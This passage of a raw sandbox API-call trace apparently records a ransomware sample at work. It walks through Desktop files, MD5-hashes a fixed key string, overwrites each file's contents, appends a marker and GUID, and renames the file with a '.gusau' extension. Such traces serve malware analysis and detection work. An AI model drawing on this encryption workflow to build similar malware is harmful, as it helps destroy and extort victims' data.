lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.951] CloseHandle (hObject=0x610) returned 1 [0116.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x870) returned 0x39f5210 [0116.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0116.952] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ntzf.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ntzf.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ntzf.doc.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ntzf.doc.gusau")) returned 1 [0116.954] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.954] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0116.955] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d42dc70, ftCreationTime.dwHighDateTime=0x1d4d46b, ftLastAccessTime.dwLowDateTime=0x9cdacbf0, ftLastAccessTime.dwHighDateTime=0x1d4c96d, ftLastWriteTime.dwLowDateTime=0x9cdacbf0, ftLastWriteTime.dwHighDateTime=0x1d4c96d, nFileSizeHigh=0x0, nFileSizeLow=0x16ecb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pjxm0.mp3", cAlternateFileName="")) returned 1 [0116.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.955] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0116.955] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.955] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pjxm0.mp3") returned=".mp3" [0116.955] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pjxm0.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pjxm0.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.956] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=93899) returned 1 [0116.957] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.959] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16ea5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.959] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.960] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.960] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.960] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.960] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x16ecb, lpOverlapped=0x0) returned 1 [0116.961] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.961] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0116.961] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.961] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.961] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.962] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.962] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.962] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.962] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.962] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.962] GetLastError () returned 0x0 [0116.962] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.962] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.962] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.962] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x16ed0) returned 0x39f9f20 [0116.963] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.963] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.963] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x16ec6, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x16ec6, lpOverlapped=0x0) returned 1 [0116.963] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.963] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16ecb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.963] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.963] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.963] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.963] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.963] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0116.963] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.966] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.966] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.966] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.966] CloseHandle (hObject=0x610) returned 1 [0116.967] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.967] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x870) returned 0x39f5210 [0116.967] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0116.967] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pjxm0.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pjxm0.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pjxm0.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pjxm0.mp3.gusau")) returned 1 [0116.968] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.968] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.969] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0116.969] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc8d990, ftCreationTime.dwHighDateTime=0x1d4c9b0, ftLastAccessTime.dwLowDateTime=0xc6be19d0, ftLastAccessTime.dwHighDateTime=0x1d4c644, ftLastWriteTime.dwLowDateTime=0xc6be19d0, ftLastWriteTime.dwHighDateTime=0x1d4c644, nFileSizeHigh=0x0, nFileSizeLow=0x5985, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sDwPUwZG7wDgXptt.flv", cAlternateFileName="SDWPUW~1.FLV")) returned 1 [0116.969] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.969] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0116.969] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.969] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sDwPUwZG7wDgXptt.flv") returned=".flv" [0116.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sDwPUwZG7wDgXptt.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sdwpuwzg7wdgxptt.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.969] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=22917) returned 1 [0116.969] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.971] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x595f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.971] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.973] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.973] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.973] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.973] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x5985, lpOverlapped=0x0) returned 1 [0116.974] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.974] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0116.974] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.974] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.974] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0116.974] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.974] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.974] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.975] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.975] GetLastError () returned 0x0 [0116.975] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.975] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0116.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x5990) returned 0x39f9f20 [0116.975] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.975] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x5980, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x5980, lpOverlapped=0x0) returned 1 [0116.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.975] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5985, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.975] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.975] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.975] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.975] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0116.975] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.975] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.976] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.976] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.976] CloseHandle (hObject=0x610) returned 1 [0116.977] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0116.977] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0116.977] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0116.977] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sDwPUwZG7wDgXptt.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sdwpuwzg7wdgxptt.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sDwPUwZG7wDgXptt.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sdwpuwzg7wdgxptt.flv.gusau")) returned 1 [0116.978] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.978] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.978] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0116.979] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1bb620, ftCreationTime.dwHighDateTime=0x1d4c9a1, ftLastAccessTime.dwLowDateTime=0x3ff70a20, ftLastAccessTime.dwHighDateTime=0x1d4c9c2, ftLastWriteTime.dwLowDateTime=0x3ff70a20, ftLastWriteTime.dwHighDateTime=0x1d4c9c2, nFileSizeHigh=0x0, nFileSizeLow=0x2f6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uJu-CI.mp3", cAlternateFileName="")) returned 1 [0116.979] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.979] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0116.979] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.979] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uJu-CI.mp3") returned=".mp3" [0116.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uJu-CI.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uju-ci.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.979] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=12143) returned 1 [0116.979] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.981] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x2f49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.981] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.983] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0116.983] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.983] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.983] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x2f6f, lpOverlapped=0x0) returned 1 [0116.984] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.984] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0116.984] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.984] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.984] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.985] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.985] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.985] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.985] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0116.985] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.985] GetLastError () returned 0x0 [0116.985] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.985] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.985] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0116.985] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2f70) returned 0x39f9f20 [0116.985] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0116.985] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0116.985] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x2f6a, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x2f6a, lpOverlapped=0x0) returned 1 [0116.985] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.985] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x2f6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.985] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.985] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0116.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0116.986] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0116.986] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.986] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0116.986] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0116.986] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0116.986] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.986] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.986] CloseHandle (hObject=0x610) returned 1 [0116.987] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0116.987] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x870) returned 0x39f5210 [0116.987] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0116.987] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uJu-CI.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uju-ci.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uJu-CI.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uju-ci.mp3.gusau")) returned 1 [0116.987] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.987] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.988] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0116.988] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e31b40, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xe7db7970, ftLastAccessTime.dwHighDateTime=0x1d4c6ce, ftLastWriteTime.dwLowDateTime=0xe7db7970, ftLastWriteTime.dwHighDateTime=0x1d4c6ce, nFileSizeHigh=0x0, nFileSizeLow=0x11696, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uZ7jTVGLo.pdf", cAlternateFileName="UZ7JTV~1.PDF")) returned 1 [0116.988] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.988] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0116.988] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uZ7jTVGLo.pdf") returned=".pdf" [0116.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uZ7jTVGLo.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uz7jtvglo.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.989] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=71318) returned 1 [0116.989] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, 